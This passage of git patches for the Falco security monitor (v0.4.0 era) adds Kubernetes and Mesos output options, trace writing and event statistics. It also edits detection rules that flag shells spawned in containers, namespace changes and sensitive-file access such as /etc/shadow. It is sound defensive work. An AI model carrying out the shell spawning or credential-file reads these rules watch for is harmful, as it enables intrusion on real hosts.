00:00:00 2001 From: Mark Stemm Date: Thu, 13 Oct 2016 14:47:00 -0700 Subject: [PATCH 31/63] Alphabetize command line options. There are a lot of command line options now, so sort them alphabetically in the usage and getopt handling to make them easier to find. Also rename -p to -P , thinking ahead to the next commit. --- userspace/falco/falco.cpp | 53 ++++++++++++++++++++------------------- 1 file changed, 27 insertions(+), 26 deletions(-) diff --git a/userspace/falco/falco.cpp b/userspace/falco/falco.cpp index b0847d30..fe41e373 100644 --- a/userspace/falco/falco.cpp +++ b/userspace/falco/falco.cpp @@ -56,18 +56,18 @@ static void usage() "Options:\n" " -h, --help Print this page\n" " -c Configuration file (default " FALCO_SOURCE_CONF_FILE ", " FALCO_INSTALL_CONF_FILE ")\n" - " -o, --option = Set the value of option to . Overrides values in configuration file.\n" - " can be a two-part .\n" + " -A Monitor all events, including those with EF_DROP_FALCO flag.\n" " -d, --daemon Run as a daemon\n" - " -p, --pidfile When run as a daemon, write pid to specified file\n" - " -e Read the events from (in .scap format) instead of tapping into live.\n" - " -r Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n" - " Can be specified multiple times to read from multiple files.\n" " -D Disable any rules matching the regex . Can be specified multiple times.\n" + " -e Read the events from (in .scap format) instead of tapping into live.\n" " -L Show the name and description of all rules and exit.\n" " -l Show the name and description of the rule with name and exit.\n" + " -o, --option = Set the value of option to . Overrides values in configuration file.\n" + " can be a two-part .\n" + " -P, --pidfile When run as a daemon, write pid to specified file\n" + " -r Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n" + " Can be specified multiple times to read from multiple files.\n" " -v Verbose output.\n" - " -A Monitor all events, including those with EF_DROP_FALCO flag.\n" "\n" ); } @@ -175,7 +175,7 @@ int falco_init(int argc, char **argv) {"help", no_argument, 0, 'h' }, {"daemon", no_argument, 0, 'd' }, {"option", required_argument, 0, 'o'}, - {"pidfile", required_argument, 0, 'p' }, + {"pidfile", required_argument, 0, 'P' }, {0, 0, 0, 0} }; @@ -196,7 +196,7 @@ int falco_init(int argc, char **argv) // Parse the args // while((op = getopt_long(argc, argv, - "c:ho:e:r:D:dp:Ll:vA", + "hc:AdD:e:k:K:Ll:m:o:P:p:r:v", long_options, &long_index)) != -1) { switch(op) @@ -207,37 +207,38 @@ int falco_init(int argc, char **argv) case 'c': conf_filename = optarg; break; - case 'o': - cmdline_options.push_back(optarg); + case 'A': + all_events = true; break; - case 'e': - scap_filename = optarg; - break; - case 'r': - rules_filenames.push_back(optarg); + case 'd': + daemon = true; break; case 'D': pattern = optarg; disabled_rule_patterns.insert(pattern); break; - case 'd': - daemon = true; + case 'e': + scap_filename = optarg; break; - case 'p': - pidfilename = optarg; break; case 'L': describe_all_rules = true; break; - case 'v': - verbose = true; - break; - case 'A': - all_events = true; - break; case 'l': describe_rule = optarg; break; + case 'o': + cmdline_options.push_back(optarg); + break; + case 'P': + pidfilename = optarg; + break; + case 'r': + rules_filenames.push_back(optarg); + break; + case 'v': + verbose = true; + break; case '?': result = EXIT_FAILURE; goto exit; From 880c39633def5ea7272a4e9a82bb2b0c18fa1763 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Thu, 13 Oct 2016 14:48:32 -0700 Subject: [PATCH 32/63] Add k8s/mesos/container info to rule outputs Copy handling of -pk/-pm/-pc/-k/-m arguments from sysdig. All of the relevant code was already in the inspector so that was easy. The information from k8s/mesos/containers is used in two ways: - In rule outputs, if the format string contains %container.info, that is replaced with the value from -pk/-pm/-pc, if one of those options was provided. If no option was provided, %container.info is replaced with a generic %container.name (id=%container.id) instead. - If the format string does not contain %container.info, and one of -pk/-pm/-pc was provided, that is added to the end of the formatting string. - If -p was specified with a general value (i.e. not kubernetes/mesos/container), the value is simply added to the end and any %container.info is replaced with the generic value. --- rules/falco_rules.yaml | 17 +++- userspace/falco/falco.cpp | 143 ++++++++++++++++++++++++++++-- userspace/falco/falco_outputs.cpp | 39 +++++++- userspace/falco/falco_outputs.h | 4 + 4 files changed, 191 insertions(+), 12 deletions(-) diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml index 4dad5d2b..7f670f3e 100644 --- a/rules/falco_rules.yaml +++ b/rules/falco_rules.yaml @@ -164,6 +164,15 @@ # System - macro: modules condition: evt.type in (delete_module, init_module) + +# Use this to test whether the event occurred within a container. + +# When displaying container information in the output field, use +# %container.info, without any leading term (file=%fd.name +# %container.info user=%user.name, and not file=%fd.name +# container=%container.info user=%user.name). The output will change +# based on the context and whether or not -pk/-pm/-pc was specified on +# the command line. - macro: container condition: container.id != host - macro: interactive @@ -265,7 +274,7 @@ - rule: Change thread namespace desc: an attempt to change a program/thread\'s namespace (commonly done as a part of creating a container) by calling setns. condition: evt.type = setns and not proc.name in (docker_binaries, sysdig, dragent, nsenter) - output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline container=%container.name (id=%container.id))" + output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline %container.info)" priority: WARNING - rule: Run shell untrusted @@ -280,7 +289,7 @@ - rule: File Open by Privileged Container desc: Any open by a privileged container. Exceptions are made for known trusted images. condition: (open_read or open_write) and container and container.privileged=true and not trusted_containers - output: File opened for read/write by non-privileged container (user=%user.name command=%proc.cmdline container=%container.name (id=%container.id) file=%fd.name) + output: File opened for read/write by non-privileged container (user=%user.name command=%proc.cmdline %container.info file=%fd.name) priority: WARNING - macro: sensitive_mount @@ -289,7 +298,7 @@ - rule: Sensitive Mount by Container desc: Any open by a container that has a mount from a sensitive host directory (i.e. /proc). Exceptions are made for known trusted images. condition: (open_read or open_write) and container and sensitive_mount and not trusted_containers - output: File opened for read/write by container mounting sensitive directory (user=%user.name command=%proc.cmdline container=%container.name (id=%container.id) file=%fd.name) + output: File opened for read/write by container mounting sensitive directory (user=%user.name command=%proc.cmdline %container.info file=%fd.name) priority: WARNING # Anything run interactively by root @@ -306,7 +315,7 @@ - rule: Run shell in container desc: a shell was spawned by a non-shell program in a container. Container entrypoints are excluded. condition: spawned_process and container and shell_procs and proc.pname exists and not proc.pname in (shell_binaries, docker_binaries, initdb, pg_ctl, awk, apache2) - output: "Shell spawned in a container other than entrypoint (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)" + output: "Shell spawned in a container other than entrypoint (user=%user.name %container.info shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)" priority: WARNING # sockfamily ip is to exclude certain processes (like 'groups') that communicate on unix-domain sockets diff --git a/userspace/falco/falco.cpp b/userspace/falco/falco.cpp index fe41e373..8fbc3158 100644 --- a/userspace/falco/falco.cpp +++ b/userspace/falco/falco.cpp @@ -60,10 +60,40 @@ static void usage() " -d, --daemon Run as a daemon\n" " -D Disable any rules matching the regex . Can be specified multiple times.\n" " -e Read the events from (in .scap format) instead of tapping into live.\n" + " -k , --k8s-api=\n" + " Enable Kubernetes support by connecting to the API server\n" + " specified as argument. E.g. \"http://admin:password@127.0.0.1:8080\".\n" + " The API server can also be specified via the environment variable\n" + " FALCO_K8S_API.\n" + " -K | :[:], --k8s-api-cert= | :[:]\n" + " Use the provided files names to authenticate user and (optionally) verify the K8S API\n" + " server identity.\n" + " Each entry must specify full (absolute, or relative to the current directory) path\n" + " to the respective file.\n" + " Private key password is optional (needed only if key is password protected).\n" + " CA certificate is optional. For all files, only PEM file format is supported. \n" + " Specifying CA certificate only is obsoleted - when single entry is provided \n" + " for this option, it will be interpreted as the name of a file containing bearer token.\n" + " Note that the format of this command-line option prohibits use of files whose names contain\n" + " ':' or '#' characters in the file name.\n" " -L Show the name and description of all rules and exit.\n" " -l Show the name and description of the rule with name and exit.\n" + " -m , --mesos-api=\n" + " Enable Mesos support by connecting to the API server\n" + " specified as argument. E.g. \"http://admin:password@127.0.0.1:5050\".\n" + " Marathon url is optional and defaults to Mesos address, port 8080.\n" + " The API servers can also be specified via the environment variable\n" + " FALCO_MESOS_API.\n" " -o, --option = Set the value of option to . Overrides values in configuration file.\n" " can be a two-part .\n" + " -p , --print=\n" + " Add additional information to each falco notification's output.\n" + " With -pc or -pcontainer will use a container-friendly format.\n" + " With -pk or -pkubernetes will use a kubernetes-friendly format.\n" + " With -pm or -pmesos will use a mesos-friendly format.\n" + " Additionally, specifying -pc/-pk/-pm will change the interpretation\n" + " of %%container.info in rule output fields\n" + " See the examples section below for more info.\n" " -P, --pidfile When run as a daemon, write pid to specified file\n" " -r Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n" " Can be specified multiple times to read from multiple files.\n" @@ -169,12 +199,21 @@ int falco_init(int argc, char **argv) string describe_rule = ""; bool verbose = false; bool all_events = false; + string* k8s_api = 0; + string* k8s_api_cert = 0; + string* mesos_api = 0; + string output_format = ""; + bool replace_container_info = false; static struct option long_options[] = { {"help", no_argument, 0, 'h' }, {"daemon", no_argument, 0, 'd' }, + {"k8s-api", required_argument, 0, 'k'}, + {"k8s-api-cert", required_argument, 0, 'K' }, + {"mesos-api", required_argument, 0, 'm'}, {"option", required_argument, 0, 'o'}, + {"print", required_argument, 0, 'p' }, {"pidfile", required_argument, 0, 'P' }, {0, 0, 0, 0} @@ -182,13 +221,6 @@ int falco_init(int argc, char **argv) try { - inspector = new sinsp(); - engine = new falco_engine(); - engine->set_inspector(inspector); - - outputs = new falco_outputs(); - outputs->set_inspector(inspector); - set disabled_rule_patterns; string pattern; @@ -219,7 +251,14 @@ int falco_init(int argc, char **argv) break; case 'e': scap_filename = optarg; + k8s_api = new string(); + mesos_api = new string(); break; + case 'k': + k8s_api = new string(optarg); + break; + case 'K': + k8s_api_cert = new string(optarg); break; case 'L': describe_all_rules = true; @@ -227,12 +266,37 @@ int falco_init(int argc, char **argv) case 'l': describe_rule = optarg; break; + case 'm': + mesos_api = new string(optarg); + break; case 'o': cmdline_options.push_back(optarg); break; case 'P': pidfilename = optarg; break; + case 'p': + if(string(optarg) == "c" || string(optarg) == "container") + { + output_format = "container=%container.name (id=%container.id)"; + replace_container_info = true; + } + else if(string(optarg) == "k" || string(optarg) == "kubernetes") + { + output_format = "k8s.pod=%k8s.pod.name container=%container.id"; + replace_container_info = true; + } + else if(string(optarg) == "m" || string(optarg) == "mesos") + { + output_format = "task=%mesos.task.name container=%container.id"; + replace_container_info = true; + } + else + { + output_format = optarg; + replace_container_info = false; + } + break; case 'r': rules_filenames.push_back(optarg); break; @@ -248,6 +312,14 @@ int falco_init(int argc, char **argv) } + inspector = new sinsp(); + engine = new falco_engine(); + engine->set_inspector(inspector); + + outputs = new falco_outputs(); + outputs->set_inspector(inspector); + outputs->set_extra(output_format, replace_container_info); + // Some combinations of arguments are not allowed. if (daemon && pidfilename == "") { throw std::invalid_argument("If -d is provided, a pid file must also be provided"); @@ -428,6 +500,63 @@ int falco_init(int argc, char **argv) open("/dev/null", O_RDWR); } + // + // run k8s, if required + // + if(k8s_api) + { + if(!k8s_api_cert) + { + if(char* k8s_cert_env = getenv("FALCO_K8S_API_CERT")) + { + k8s_api_cert = new string(k8s_cert_env); + } + } + inspector->init_k8s_client(k8s_api, k8s_api_cert, verbose); + k8s_api = 0; + k8s_api_cert = 0; + } + else if(char* k8s_api_env = getenv("FALCO_K8S_API")) + { + if(k8s_api_env != NULL) + { + if(!k8s_api_cert) + { + if(char* k8s_cert_env = getenv("FALCO_K8S_API_CERT")) + { + k8s_api_cert = new string(k8s_cert_env); + } + } + k8s_api = new string(k8s_api_env); + inspector->init_k8s_client(k8s_api, k8s_api_cert, verbose); + } + else + { + delete k8s_api; + delete k8s_api_cert; + } + k8s_api = 0; + k8s_api_cert = 0; + } + + // + // run mesos, if required + // + if(mesos_api) + { + inspector->init_mesos_client(mesos_api, verbose); + } + else if(char* mesos_api_env = getenv("FALCO_MESOS_API")) + { + if(mesos_api_env != NULL) + { + mesos_api = new string(mesos_api_env); + inspector->init_mesos_client(mesos_api, verbose); + } + } + delete mesos_api; + mesos_api = 0; + do_inspect(engine, outputs, inspector); diff --git a/userspace/falco/falco_outputs.cpp b/userspace/falco/falco_outputs.cpp index 03f6b8a7..545ade75 100644 --- a/userspace/falco/falco_outputs.cpp +++ b/userspace/falco/falco_outputs.cpp @@ -27,6 +27,7 @@ along with falco. If not, see . using namespace std; falco_outputs::falco_outputs() + : m_replace_container_info(false) { } @@ -51,6 +52,12 @@ void falco_outputs::init(bool json_output) falco_logger::init(m_ls); } +void falco_outputs::set_extra(string &extra, bool replace_container_info) +{ + m_extra = extra; + m_replace_container_info = replace_container_info; +} + void falco_outputs::add_output(output_config oc) { uint8_t nargs = 1; @@ -87,12 +94,42 @@ void falco_outputs::handle_event(sinsp_evt *ev, string &level, string &priority, { lua_getglobal(m_ls, m_lua_output_event.c_str()); + // If the format string contains %container.info, replace it + // with extra. Otherwise, add extra onto the end of the format + // string. + string format_w_extra = format; + size_t pos; + + if((pos = format_w_extra.find("%container.info")) != string::npos) + { + // There may not be any extra, or we're not supposed + // to replace it, in which case we use the generic + // "%container.name (id=%container.id)" + if(m_extra == "" || ! m_replace_container_info) + { + // 15 == strlen(%container.info) + format_w_extra.replace(pos, 15, "%container.name (id=%container.id)"); + } + else + { + format_w_extra.replace(pos, 15, m_extra); + } + } + else + { + // Just add the extra to the end + if (m_extra != "") + { + format_w_extra += " " + m_extra; + } + } + if(lua_isfunction(m_ls, -1)) { lua_pushlightuserdata(m_ls, ev); lua_pushstring(m_ls, level.c_str()); lua_pushstring(m_ls, priority.c_str()); - lua_pushstring(m_ls, format.c_str()); + lua_pushstring(m_ls, format_w_extra.c_str()); if(lua_pcall(m_ls, 4, 0, 0) != 0) { diff --git a/userspace/falco/falco_outputs.h b/userspace/falco/falco_outputs.h index 247d837c..1f13f653 100644 --- a/userspace/falco/falco_outputs.h +++ b/userspace/falco/falco_outputs.h @@ -44,6 +44,8 @@ public: void add_output(output_config oc); + void set_extra(string &extra, bool replace_container_info); + // // ev is an event that has matched some rule. Pass the event // to all configured outputs. @@ -54,4 +56,6 @@ private: std::string m_lua_add_output = "add_output"; std::string m_lua_output_event = "output_event"; std::string m_lua_main_filename = "output.lua"; + std::string m_extra; + bool m_replace_container_info; }; From f761ddff9f6866d8960e9866f1247b464bdd5301 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Fri, 14 Oct 2016 13:15:37 -0700 Subject: [PATCH 33/63] Fix logic for detecting conf files. The logic for detecting if a file exists was backwards. It would treat a file as existing if it could *not* be opened. Reverse that logic so it works. This fixes https://github.com/draios/falco/issues/135. --- userspace/falco/falco.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/userspace/falco/falco.cpp b/userspace/falco/falco.cpp index 8fbc3158..e0e241e4 100644 --- a/userspace/falco/falco.cpp +++ b/userspace/falco/falco.cpp @@ -337,14 +337,14 @@ int falco_init(int argc, char **argv) else { conf_stream.open(FALCO_SOURCE_CONF_FILE); - if (!conf_stream.is_open()) + if (conf_stream.is_open()) { conf_filename = FALCO_SOURCE_CONF_FILE; } else { conf_stream.open(FALCO_INSTALL_CONF_FILE); - if (!conf_stream.is_open()) + if (conf_stream.is_open()) { conf_filename = FALCO_INSTALL_CONF_FILE; } From e543fbf2476ab8b9b85da4857d065f53d8a86dc0 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Fri, 14 Oct 2016 16:51:41 -0700 Subject: [PATCH 34/63] Allow falco to spawn shells in containers. Falco is allowed to spawn shells in containers as a part of its program output method. --- rules/falco_rules.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml index 7f670f3e..f480b3b2 100644 --- a/rules/falco_rules.yaml +++ b/rules/falco_rules.yaml @@ -314,7 +314,7 @@ - rule: Run shell in container desc: a shell was spawned by a non-shell program in a container. Container entrypoints are excluded. - condition: spawned_process and container and shell_procs and proc.pname exists and not proc.pname in (shell_binaries, docker_binaries, initdb, pg_ctl, awk, apache2) + condition: spawned_process and container and shell_procs and proc.pname exists and not proc.pname in (shell_binaries, docker_binaries, initdb, pg_ctl, awk, apache2, falco) output: "Shell spawned in a container other than entrypoint (user=%user.name %container.info shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)" priority: WARNING From faef5621dd01a3a55fa9cd6941a04060d7e9c776 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Fri, 14 Oct 2016 17:25:19 -0700 Subject: [PATCH 35/63] Add k8s binaries as trusted programs Add a new list k8s_binaries and allow those binaries to do things like setns/spawn shells. It's not the case that all of these binaries actually do these things, but keeping it as a single list makes management easier. --- rules/falco_rules.yaml | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml index f480b3b2..a22f38a7 100644 --- a/rules/falco_rules.yaml +++ b/rules/falco_rules.yaml @@ -101,6 +101,9 @@ - list: docker_binaries items: [docker, dockerd, exe] +- list: k8s_binaries + items: [hyperkube, skydns, kube2sky] + - list: http_server_binaries items: [nginx, httpd, httpd-foregroun, lighttpd] @@ -273,13 +276,13 @@ - rule: Change thread namespace desc: an attempt to change a program/thread\'s namespace (commonly done as a part of creating a container) by calling setns. - condition: evt.type = setns and not proc.name in (docker_binaries, sysdig, dragent, nsenter) + condition: evt.type = setns and not proc.name in (docker_binaries, k8s_binaries, sysdig, dragent, nsenter) output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline %container.info)" priority: WARNING - rule: Run shell untrusted desc: an attempt to spawn a shell by a non-shell program. Exceptions are made for trusted binaries. - condition: spawned_process and not container and shell_procs and proc.pname exists and not proc.pname in (cron_binaries, shell_binaries, sshd, sudo, docker_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent, aws, initdb, docker-compose, make, configure, awk, falco) + condition: spawned_process and not container and shell_procs and proc.pname exists and not proc.pname in (cron_binaries, shell_binaries, sshd, sudo, docker_binaries, k8s_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent, aws, initdb, docker-compose, make, configure, awk, falco) output: "Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)" priority: WARNING @@ -314,7 +317,7 @@ - rule: Run shell in container desc: a shell was spawned by a non-shell program in a container. Container entrypoints are excluded. - condition: spawned_process and container and shell_procs and proc.pname exists and not proc.pname in (shell_binaries, docker_binaries, initdb, pg_ctl, awk, apache2, falco) + condition: spawned_process and container and shell_procs and proc.pname exists and not proc.pname in (shell_binaries, docker_binaries, k8s_binaries, initdb, pg_ctl, awk, apache2, falco, cron) output: "Shell spawned in a container other than entrypoint (user=%user.name %container.info shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)" priority: WARNING From e0e640c67f785c135e5bb8055abf65ff48f6af05 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Fri, 21 Oct 2016 15:42:02 -0700 Subject: [PATCH 36/63] Add ability to write trace files. Bring over functionality from sysdig to write trace files. This is easy as all of the code to actually write the files is in the inspector. This just handles the -w option and arguments. This can be useful to write a trace file in parallel with live event monitoring so you can reproduce it later. --- userspace/falco/falco.cpp | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/userspace/falco/falco.cpp b/userspace/falco/falco.cpp index e0e241e4..34e01635 100644 --- a/userspace/falco/falco.cpp +++ b/userspace/falco/falco.cpp @@ -192,6 +192,7 @@ int falco_init(int argc, char **argv) int long_index = 0; string scap_filename; string conf_filename; + string outfile; list rules_filenames; bool daemon = false; string pidfilename = "/var/run/falco.pid"; @@ -205,6 +206,13 @@ int falco_init(int argc, char **argv) string output_format = ""; bool replace_container_info = false; + // Used for writing trace files + int duration_seconds = 0; + int rollover_mb = 0; + int file_limit = 0; + unsigned long event_limit = 0L; + bool compress = false; + static struct option long_options[] = { {"help", no_argument, 0, 'h' }, @@ -215,6 +223,7 @@ int falco_init(int argc, char **argv) {"option", required_argument, 0, 'o'}, {"print", required_argument, 0, 'p' }, {"pidfile", required_argument, 0, 'P' }, + {"writefile", required_argument, 0, 'w' }, {0, 0, 0, 0} }; @@ -228,7 +237,7 @@ int falco_init(int argc, char **argv) // Parse the args // while((op = getopt_long(argc, argv, - "hc:AdD:e:k:K:Ll:m:o:P:p:r:v", + "hc:AdD:e:k:K:Ll:m:o:P:p:r:vw:", long_options, &long_index)) != -1) { switch(op) @@ -303,6 +312,9 @@ int falco_init(int argc, char **argv) case 'v': verbose = true; break; + case 'w': + outfile = optarg; + break; case '?': result = EXIT_FAILURE; goto exit; @@ -500,6 +512,12 @@ int falco_init(int argc, char **argv) open("/dev/null", O_RDWR); } + if(outfile != "") + { + inspector->setup_cycle_writer(outfile, rollover_mb, duration_seconds, file_limit, event_limit, compress); + inspector->autodump_next_file(); + } + // // run k8s, if required // From 0211a94f609e50b5ddd0e5dc0761618d02180336 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Fri, 21 Oct 2016 15:30:47 -0700 Subject: [PATCH 37/63] Add stats on events processed/dropped. Collect stats on the number of events processed and dropped. When run with -v, print these stats. This duplicates syddig behavior and can be useful when dianosing problems related to dropped events throwing off internal state tracking. --- userspace/falco/falco.cpp | 40 +++++++++++++++++++++++++++++++++------ 1 file changed, 34 insertions(+), 6 deletions(-) diff --git a/userspace/falco/falco.cpp b/userspace/falco/falco.cpp index 34e01635..b7c9d150 100644 --- a/userspace/falco/falco.cpp +++ b/userspace/falco/falco.cpp @@ -122,10 +122,11 @@ std::list cmdline_options; // // Event processing loop // -void do_inspect(falco_engine *engine, - falco_outputs *outputs, - sinsp* inspector) +uint64_t do_inspect(falco_engine *engine, + falco_outputs *outputs, + sinsp* inspector) { + uint64_t num_evts = 0; int32_t res; sinsp_evt* ev; @@ -176,7 +177,11 @@ void do_inspect(falco_engine *engine, outputs->handle_event(res->evt, res->rule, res->priority, res->format); delete(res); } + + num_evts++; } + + return num_evts; } // @@ -213,6 +218,11 @@ int falco_init(int argc, char **argv) unsigned long event_limit = 0L; bool compress = false; + // Used for stats + uint64_t num_evts; + double duration; + scap_stats cstats; + static struct option long_options[] = { {"help", no_argument, 0, 'h' }, @@ -518,6 +528,8 @@ int falco_init(int argc, char **argv) inspector->autodump_next_file(); } + duration = ((double)clock()) / CLOCKS_PER_SEC; + // // run k8s, if required // @@ -575,9 +587,25 @@ int falco_init(int argc, char **argv) delete mesos_api; mesos_api = 0; - do_inspect(engine, - outputs, - inspector); + num_evts = do_inspect(engine, + outputs, + inspector); + + duration = ((double)clock()) / CLOCKS_PER_SEC - duration; + + inspector->get_capture_stats(&cstats); + + if(verbose) + { + fprintf(stderr, "Driver Events:%" PRIu64 "\nDriver Drops:%" PRIu64 "\n", + cstats.n_evts, + cstats.n_drops); + + fprintf(stderr, "Elapsed time: %.3lf, Captured Events: %" PRIu64 ", %.2lf eps\n", + duration, + num_evts, + num_evts / duration); + } inspector->close(); From f98ec60c88ee6ee51e87e7a56816f2e8890c3bd7 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Mon, 24 Oct 2016 13:22:33 -0700 Subject: [PATCH 38/63] Rule fixes for dragent. Make sure falco doesn't detect the things draios-agent does as suspicious. It's possible that you might run open source falco alongside sysdig cloud. App checks spawned by sysdig cloud binaries might also change namespace, so also allow children of sysdigcloud binaries to call setns. --- rules/falco_rules.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml index a22f38a7..a9ab58bd 100644 --- a/rules/falco_rules.yaml +++ b/rules/falco_rules.yaml @@ -96,7 +96,7 @@ ] - list: sysdigcloud_binaries - items: [setup-backend, dragent] + items: [setup-backend, dragent, sdchecks] - list: docker_binaries items: [docker, dockerd, exe] @@ -276,8 +276,8 @@ - rule: Change thread namespace desc: an attempt to change a program/thread\'s namespace (commonly done as a part of creating a container) by calling setns. - condition: evt.type = setns and not proc.name in (docker_binaries, k8s_binaries, sysdig, dragent, nsenter) - output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline %container.info)" + condition: evt.type = setns and not proc.name in (docker_binaries, k8s_binaries, sysdigcloud_binaries, sysdig, nsenter) and not proc.pname in (sysdigcloud_binaries) + output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline parent=%proc.pname %container.info)" priority: WARNING - rule: Run shell untrusted From 8a2924ad72e1db41f6421f55e9779f02577fc1c1 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Tue, 25 Oct 2016 09:27:20 -0700 Subject: [PATCH 39/63] Updating for 0.4.0. CHANGELOG for release notes, README to update version. --- CHANGELOG.md | 45 +++++++++++++++++++++++++++++++++++++++++++++ README.md | 3 ++- 2 files changed, 47 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 30e5a29b..27aac681 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,51 @@ This file documents all notable changes to Falco. The release numbering uses [semantic versioning](http://semver.org). +## v0.4.0 + +Released 2016-10-25 + +As falco depends heavily on sysdig, many changes here were actually made to sysdig and pulled in as a part of the build process. Issues/PRs starting with `sysdig/#XXX` are sysdig changes. + +### Major Changes + +* Improved visibility into containers: +** New filter `container.privileged` to match containers running in privileged mode [[sysdig/#655](https://github.com/draios/sysdig/pull/655)] [[sysdig/#658](https://github.com/draios/sysdig/pull/658)] +** New rules utilizing privileged state [[#121](https://github.com/draios/falco/pull/121)] +** New filters `container.mount*` to match container mount points [[sysdig/#655](https://github.com/draios/sysdig/pull/655)] +** New rules utilizing container mount points [[#120](https://github.com/draios/falco/pull/120)] +** New filter `container.image.id` to match container image id [[sysdig/#661](https://github.com/draios/sysdig/pull/661)] + +* Improved visibility into orchestration environments: +** New k8s.deployment.* and k8s.rs.* filters to support latest kubernetes features [[sysdg/#dbf9b5c](https://github.com/draios/sysdig/commit/dbf9b5c893d49f945c59684b4effe5700d730973)] +** Rule changes to avoid FPs when monitoring k8s environments [[#138](https://github.com/draios/falco/pull/138)] +** Add new options `-pc`/`-pk`/`-pm`/`-k`/`-m` analogous to sysdig command line options. These options pull metadata information from k8s/mesos servers and adjust default falco notification outputs to contain container/orchestration information when applicable. [[#131](https://github.com/draios/falco/pull/131)] [[#134](https://github.com/draios/falco/pull/134)] + +* Improved ability to work with file pathnames: +** Added `glob` operator for strings, works as classic shell glob path matcher [[sysdig/#653](https://github.com/draios/sysdig/pull/653)] +** Added `pmatch` operator to efficiently test a subject pathname against a set of target pathnames, to see if the subject is a prefix of any target [[sysdig/#660](https://github.com/draios/sysdig/pull/660)] [[#125](https://github.com/draios/falco/pull/125)] + +### Minor Changes + +* Add an event generator program that simulates suspicious activity that can be detected by falco. This is also available as a docker image [[sysdig/falco-event-generator](https://hub.docker.com/r/sysdig/falco-event-generator/)]. [[#113](https://github.com/draios/falco/pull/113)] [[#132](https://github.com/draios/falco/pull/132)] +* Changed rule names to be human readable [[#116](https://github.com/draios/falco/pull/116)] +* Add Copyright notice to all source files [[#126](https://github.com/draios/falco/pull/126)] +* Changes to docker images to make it easier to massage JSON output for webhooks [[#133](https://github.com/draios/falco/pull/133)] +* When run with `-v`, print statistics on the number of events processed and dropped [[#139](https://github.com/draios/falco/pull/139)] +* Add ability to write trace files with `-w`. This can be useful to write a trace file in parallel with live event monitoring so you can reproduce it later. [[#140](https://github.com/draios/falco/pull/140)] +* All rules can now take an optional `enabled` flag. With `enabled: false`, a rule will not be loaded or run against events. By default all rules are enabled [[#119](https://github.com/draios/falco/pull/119)] + +### Bug Fixes + +* Fixed rule FPs related to docker's `docker`/`dockerd` split in 1.12 [[#112](https://github.com/draios/falco/pull/112)] +* Fixed rule FPs related to sysdigcloud agent software [[#141](https://github.com/draios/falco/pull/141)] +* Minor changes to node.js example to avoid falco false positives [[#111](https://github.com/draios/falco/pull/111/)] +* Fixed regression that broke configurable outputs [[#117](https://github.com/draios/falco/pull/117)]. This was not broken in 0.3.0, just between 0.3.0 and 0.4.0. +* Fixed a lua stack leak that could cause problems when matching millions of events against a large set of rules [[#123](https://github.com/draios/falco/pull/123)] +* Update docker files to reflect changes to `debian:unstable` docker image [[#124](https://github.com/draios/falco/pull/124)] +* Fixed logic for detecting config files to ensure config files in `/etc/falco.yaml` are properly detected [[#135](https://github.com/draios/falco/pull/135)] [[#136](https://github.com/draios/falco/pull/136)] +* Don't alert on falco spawning a shell for program output notifications [[#137](https://github.com/draios/falco/pull/137)] + ## v0.3.0 Released 2016-08-05 diff --git a/README.md b/README.md index 4661a0e8..f7641ee1 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ ####Latest release -**v0.3.0** +**v0.4.0** Read the [change log](https://github.com/draios/falco/blob/dev/CHANGELOG.md) Dev Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=dev)](https://travis-ci.org/draios/falco)
@@ -16,6 +16,7 @@ Sysdig Falco is a behavioral activity monitor designed to detect anomalous activ Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like: - A shell is run inside a container +- A container is running in privileged mode, or is mounting a sensitive path like `/proc` from the host. - A server process spawns a child process of an unexpected type - Unexpected read of a sensitive file (like `/etc/shadow`) - A non-device file is written to `/dev` From b1ad9e644e473dd6e8de0b6bb4f5f20be17fdee6 Mon Sep 17 00:00:00 2001 From: Carl Sverre Date: Wed, 26 Oct 2016 13:18:24 -0700 Subject: [PATCH 40/63] Added envvar SYSDIG_SKIP_LOAD to Dockerfile to skip kernel module manipulation This helps when running on a system which has the module loaded, but getting access to the module file is hard for some reason. Since I know that the right version of the module is loaded I just want falco to connect. I tested this with this run command: docker run -e 